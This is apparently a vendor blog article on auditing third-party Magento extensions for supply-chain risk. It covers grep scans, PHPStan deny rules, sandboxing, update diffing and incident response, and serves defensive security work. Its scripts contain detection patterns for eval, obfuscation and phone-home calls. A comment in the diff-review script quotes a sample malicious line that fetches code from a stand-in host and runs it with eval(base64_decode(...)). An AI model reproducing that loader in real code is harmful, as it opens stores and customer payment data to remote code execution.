Spotting red flags before they become an incident
Third party extensions inherit the same privileges as the Magento core and become the single biggest supply chain risk in a store. This article shows how to spot eval and base64 encoded payloads, check a vendor's reputation, apply static analysis with PHPStan, and test new extensions in an isolated sandbox before they go live.
Table of Contents
- 1. Why third party extensions are a supply chain risk
- 2. Red flags in extension code: eval, base64 and phone-home
- 3. Checking vendor reputation and update history
- 4. Static analysis: PHPStan and PHP_CodeSniffer security rules
- 5. Sandboxing: testing new extensions in isolated staging
- 6. Code diffing on updates: what actually changed?
- 7. The limits of Magento Marketplace's technical review
- 8. Incident response: what to do when you find a malicious extension
- 9. Red flags compared: risk versus mitigation
- 10. Summary
- 11. FAQ
1. Why third party extensions are a supply chain risk
A typical Magento store runs twenty to fifty extensions from a wide range of vendors, all inside the same PHP process as the Magento core. Every installed extension automatically inherits the same privileges as the core: full database access, access to customer data, payment information, and session handling. That is the core of the supply chain risk: the security of the entire store drops to the level of the least secure installed extension, regardless of how carefully your own code is maintained. Unlike an isolated microservice architecture, a classic Magento monolith has no technical boundary between your own code and third party code.
Code quality across Marketplace extensions varies enormously. Some vendors run professional development processes with reviews, tests, and versioning, others ship code written once and never maintained again. Publicly known Magecart-style attacks on Magento stores have repeatedly used exactly this route: not a vulnerability in the Magento core itself, but a compromised or maliciously crafted third party extension that reads payment data during checkout and sends it to an external server. A systematic security audit of every new and existing extension is therefore not optional polish, it is a mandatory part of running a production Magento store.
2. Red flags in extension code: eval, base64 and phone-home
Four code patterns show up disproportionately often in malicious or carelessly insecure extension code. First, dynamic code execution via eval(), assert() with a string argument, or the deprecated create_function(). These functions execute arbitrary PHP code from a string at runtime, something a legitimate extension almost never needs. Second, multi-stage obfuscation: payload strings are hidden with base64_decode(), gzinflate(), or str_rot13() and only decoded at runtime, often chained across several function calls to defeat simple text search.
Third, remote code fetching and phone-home behavior: a module downloads a file from an external URL on every page load or via cron and executes it, frequently disguised as a "license check" or "update check". Fourth, dynamic function calls via variable variables such as $$func() or call_user_func($_GET['f']), which deliberately evade classic static analysis and text search. None of these patterns is proof of malice by itself, legacy compatibility code occasionally uses eval() for template compiling. What matters is context: why exactly does this extension need this pattern, and can that be verified?
#!/usr/bin/env bash
# scan-extension.sh - static red-flag scan for a newly downloaded Magento extension
# Run this BEFORE composer require, against the extracted package directory
set -euo pipefail
TARGET_DIR="${1:-vendor/thirdparty/module-example}"
echo "Scanning ${TARGET_DIR} for common red-flag patterns..."
# Dynamic code execution primitives - legitimate extensions rarely need these
echo "--- eval / assert / create_function ---"
grep -rnE 'eval\s*\(|assert\s*\(\s*\$|create_function\s*\(' \
--include="*.php" "$TARGET_DIR" || true
# Multi-stage obfuscation: payload strings decoded only at runtime
echo "--- base64 / gzip / rot13 obfuscation chains ---"
grep -rnE 'base64_decode\s*\(|gzinflate\s*\(|gzuncompress\s*\(|str_rot13\s*\(' \
--include="*.php" "$TARGET_DIR" || true
# Outbound calls that could exfiltrate data or fetch a remote payload
echo "--- remote code fetch / phone-home ---"
grep -rnE 'curl_exec\s*\(|fsockopen\s*\(|file_get_contents\s*\(.{0,20}https?://' \
--include="*.php" "$TARGET_DIR" || true
# Variable functions and variable variables - hard to trace statically
echo "--- dynamic / variable function calls ---"
grep -rnE '\$\$[a-zA-Z_]+\s*\(|call_user_func\s*\(\s*\$_' \
--include="*.php" "$TARGET_DIR" || true
echo "Scan complete. Review every match manually before installing."
A scan like this belongs in every pre-installation review routine and should run automatically again on every composer update, because a module that looks clean today can be compromised through a later update. A single hit is not automatic grounds for rejection, but every hit deserves a manual explanation before the extension is approved.
3. Checking vendor reputation and update history
Before an extension even reaches code review, it is worth looking at the vendor itself. On the Magento Marketplace, the number of reviews, how recent they are, and above all whether the vendor responds to negative reviews and support tickets all matter. A module with five year old five star reviews and no update since is a warning sign, even if the average rating looks good. More important than the star rating itself is the update frequency: an actively maintained module reacts within a few weeks to new Magento minor releases and PHP version changes.
For open source extensions or ones mirrored on GitHub, the commit history provides additional signals: how many maintainers are active, how quickly are reported issues closed, are there security advisories via GitHub Security Advisories or the National Vulnerability Database (NVD)? Searching for the vendor and module name combined with "CVE", or checking cve.mitre.org directly, shows whether vulnerabilities have been reported in the past and how quickly the vendor patched them. A CVE alone does not disqualify an extension, a CVE without a timely patch does.
{
"require": {
"php": "~8.4.0",
"thirdparty/module-example": "3.2.1"
},
"extra": {
"audit-comment": "Pin third-party extensions to an exact, already-audited version. Avoid caret or tilde ranges so an update is never installed silently by composer update."
}
}
Pinning composer versions also protects against an automatic update silently pulling in a compromised release of an otherwise trustworthy extension. composer.lock must therefore be committed to version control, so every deployment ships exactly the same, already reviewed code.
4. Static analysis: PHPStan and PHP_CodeSniffer security rules
Manual code reading does not scale to tens of thousands of lines of third party code. Static analysis automates the search for the patterns described in section 2. PHPStan at level 5 primarily finds type errors, but with the spaze/phpstan-disallowed-calls extension you can enforce a denylist that flags eval(), exec(), system(), create_function(), and similar functions as errors project-wide, including in vendor code, once you deliberately add vendor/ to the paths configuration instead of excluding it by default.
PHP_CodeSniffer with the Magento2 coding standard mostly checks style, but it can be extended with custom sniffs, for example one that flags base64_decode combined with eval in the same statement as a violation. The generic Squiz.PHP.Eval sniff is also worth adding, since it directly flags standard eval calls. Both tools belong in the CI pipeline, not just in a local editor, so every new or updated extension is automatically checked against the same rules before it reaches a deploy branch.
# phpstan.neon - security-focused config for auditing a vendor extension
# Run with: bin/analyse vendor/thirdparty/module-example --level=5
parameters:
level: 5
paths:
- vendor/thirdparty/module-example
excludePaths:
- vendor/thirdparty/module-example/Test/*
disallowedFunctionCalls:
- function: 'eval()'
message: 'eval() is not allowed in audited extensions.'
- function: 'assert()'
message: 'assert() with a string argument executes arbitrary code.'
- function: 'create_function()'
message: 'create_function() is deprecated and behaves like eval().'
- function: 'exec()'
message: 'Shell execution is not allowed in a Magento extension.'
includes:
- vendor/spaze/phpstan-disallowed-calls/extension.neon
- vendor/spaze/phpstan-disallowed-calls/disallowed-dangerous-calls.neon
5. Sandboxing: testing new extensions in isolated staging
No amount of static analysis replaces observing actual runtime behavior. A new extension should always be installed first in an isolated staging environment, separated from the production system and from real customer data. That environment should use synthetic test data, have no access to production payment gateway credentials, and log, or even actively restrict, outbound network traffic, for example via a Docker network policy or an explicit egress firewall rule.
During testing, it is worth capturing every outbound connection with tcpdump or a transparent proxy like mitmproxy while running through typical admin and storefront actions: creating a product, running through checkout, triggering cron jobs manually. Any connection to an unknown domain that is not part of the extension's documented feature set is grounds for investigation. Only after several days of unremarkable operation in the sandbox, including a full cron cycle, should the extension be approved for production.
#!/usr/bin/env bash
# staging-sandbox.sh - spin up an isolated Magento staging container to test a new extension
set -euo pipefail
CONTAINER_NAME="magento-extension-sandbox"
NETWORK_NAME="sandbox-net"
# Isolated network with no route to the production database or payment gateways
docker network create --internal "$NETWORK_NAME" 2>/dev/null || true
docker run -d \
--name "$CONTAINER_NAME" \
--network "$NETWORK_NAME" \
-e MAGENTO_MODE=developer \
-e PAYMENT_GATEWAY_CREDENTIALS=sandbox-only \
-v "$(pwd)/staging-data:/var/www/html" \
markoshust/magento-nginx:latest
# Capture all outbound traffic from the sandbox while testing admin and storefront flows
docker run --rm --net="container:${CONTAINER_NAME}" nicolaka/netshoot \
tcpdump -i any -w /tmp/extension-sandbox.pcap &
echo "Sandbox running on an isolated network. Import synthetic test data only."
echo "Trigger every cron job manually once: bin/magento cron:run"
echo "Inspect /tmp/extension-sandbox.pcap for connections to unexpected hosts."
6. Code diffing on updates: what actually changed?
The first security check of an extension only covers half the job, because vendors can introduce new code with every update, even retroactively into a module that was previously clean. An update should therefore never be applied blindly via composer update without first reviewing the actual diff between the old and new version. If the vendor/ directory itself is under version control, or at least mirrored into a separate git tracking repository, git diff between the two composer versions produces a complete, searchable change list.
Diffs deserve special attention when they introduce new, seemingly unmotivated function calls like curl_exec, new external hostnames, or newly added, heavily minified code blocks, while the rest of the changelog describes only a small bugfix. A mismatch between the size of the documented changelog and the actual diff is one of the most reliable warning signs there is. Automated diff reports in the CI pipeline make this step reproducible instead of depending on individual developer discipline.
#!/usr/bin/env bash
# diff-extension-update.sh - review exactly what changed before accepting a vendor update
set -euo pipefail
MODULE_PATH="vendor/thirdparty/module-example"
# Compare the currently installed version against the new release before updating
composer show "thirdparty/module-example" --all | grep versions
git diff --no-index \
".composer-cache/thirdparty-module-example-3.2.0/${MODULE_PATH}" \
".composer-cache/thirdparty-module-example-3.2.1/${MODULE_PATH}" \
> /tmp/extension-update.diff
grep -nE '^\+.*(curl_exec|base64_decode|eval\(|new_host\.example\.com)' \
/tmp/extension-update.diff || echo "No obvious red flags in the diff."
# Example of what a suspicious diff hunk looks like:
# + $license = @file_get_contents('http://update-check.example-cdn.net/lic.php');
# + if ($license) { eval(base64_decode($license)); }
# A one-line "bugfix" changelog entry with a diff this size is a red flag by itself.
7. The limits of Magento Marketplace's technical review
The Magento Marketplace runs a technical review before an extension gets published: automated coding standard checks, a security scan against known unsafe functions, and a manual spot check. That filters out obviously bad code, but it does not guarantee complete security. The review examines the code as it exists at submission time, not later updates that are shipped outside the original review cycle through composer repositories or direct downloads.
Deliberately time-delayed or conditional malicious code, activated only after a specific date, a specific customer count, or after a certain number of licenses have been sold, largely evades a one-time automated review. Remote code fetching at runtime is also hard to catch during review if the fetched payload is still harmless at review time and only gets swapped out later. Marketplace approval is therefore a signal, not a security guarantee, and it does not replace your own audit process before installing an extension in a production store.
8. Incident response: what to do when you find a malicious extension
When a malicious or compromised extension is discovered in a production system, the order of response matters. First step: disable the affected module via bin/magento module:disable or put the store into maintenance mode to stop further data loss, without prematurely destroying evidence. Second step: rotate every potentially exposed credential, admin passwords, API keys, payment gateway credentials, and database access, because a malicious extension with core privileges could in principle have accessed all of these values.
Forensic review comes next: check the admin_user table for unknown, newly created admin accounts, inspect cron_schedule and cron_job for injected jobs, and search the web server access log for unusual request patterns during the relevant time window. Restoration should come from a demonstrably clean backup, not from simply deleting the extension, since backdoors are frequently planted elsewhere in the file system too. If payment data may have been affected, PCI DSS reporting obligations toward the acquirer, and potentially the card networks, apply regardless of company size.
9. Red flags compared: risk versus mitigation
The table below matches the most common red flags from real-world extension audits against the mitigation that actually addresses them. No single measure replaces the others, only the combination of static analysis, sandboxing, and vendor vetting produces a defensible security assessment.
| Red flag | Risk | Mitigation |
|---|---|---|
| eval() / assert() in code | Arbitrary code execution at runtime | PHPStan disallowed-calls, CI gate |
| base64/gzinflate obfuscation | Hidden, unreadable payload | Grep-based CI gate, manual review |
| Unexplained outbound HTTP calls | Data exfiltration, phone-home | Sandbox with network monitoring |
| No public repository / history | No way to trace changes over time | Vendor reputation and CVE history check |
| Diff size does not match changelog | Malicious code smuggled in later | git diff review on every update |
In practice, a single red flag rarely justifies outright rejection. An eval() call in an old, well documented template compiler is not the same as the same call in a three month old module with no public repository. The assessment remains a combination of automated signals and human judgment, one that gets sharper with every audit performed.
Mironsoft
Extension audits, sandbox setups, and CI security checks for Magento stores
Are your third party extensions security-vetted?
We audit existing and new Magento extensions, surface red flags in the code, and set up sandboxing and automated diff checks for your deployment process.
Code audit
Manual and automated checks for eval, obfuscation, and phone-home behavior
Sandbox setup
Isolated staging environment with network monitoring for new extensions
CI integration
Wiring PHPStan disallowed-calls and diff checks directly into the pipeline
10. Summary
Auditing Magento extensions for security risks addresses a structural problem: third party code runs with the same privileges as the core, so the security of the entire store drops to the level of its least secure installed extension. Red flags such as eval(), base64_decode combined with gzinflate, unexplained outbound HTTP calls, and dynamic function calls can be reliably automated with targeted grep scans and static analysis. Vendor reputation, Marketplace reviews, GitHub activity, and CVE history provide additional signals that go far beyond an extension's price or feature list.
The decisive lever is repeatability: a one-time code review at first install is not enough, because vendors can introduce new code with every update. An isolated sandbox with network monitoring, a diff check on every update, and PHPStan or PHP_CodeSniffer rules wired into the CI pipeline make the audit process reproducible and independent of any single developer's diligence on a given day. Magento Marketplace approval does not replace this process, it is an additional but incomplete signal.
Auditing Magento Extensions for Security Risks - The Essentials at a Glance
Spot red flags
Automatically scan for eval, base64_decode+gzinflate, remote code fetching, and dynamic function calls before installing any extension.
Check vendor reputation
Marketplace reviews, GitHub activity, and CVE history are better indicators than an extension's price or feature list.
Static analysis
Wire PHPStan with disallowed-calls and PHP_CodeSniffer security sniffs into the CI pipeline, including for vendor/ code.
Sandbox and diffing
Test new extensions in isolation, diff every update before deploying, and never mistake Marketplace approval for a security guarantee.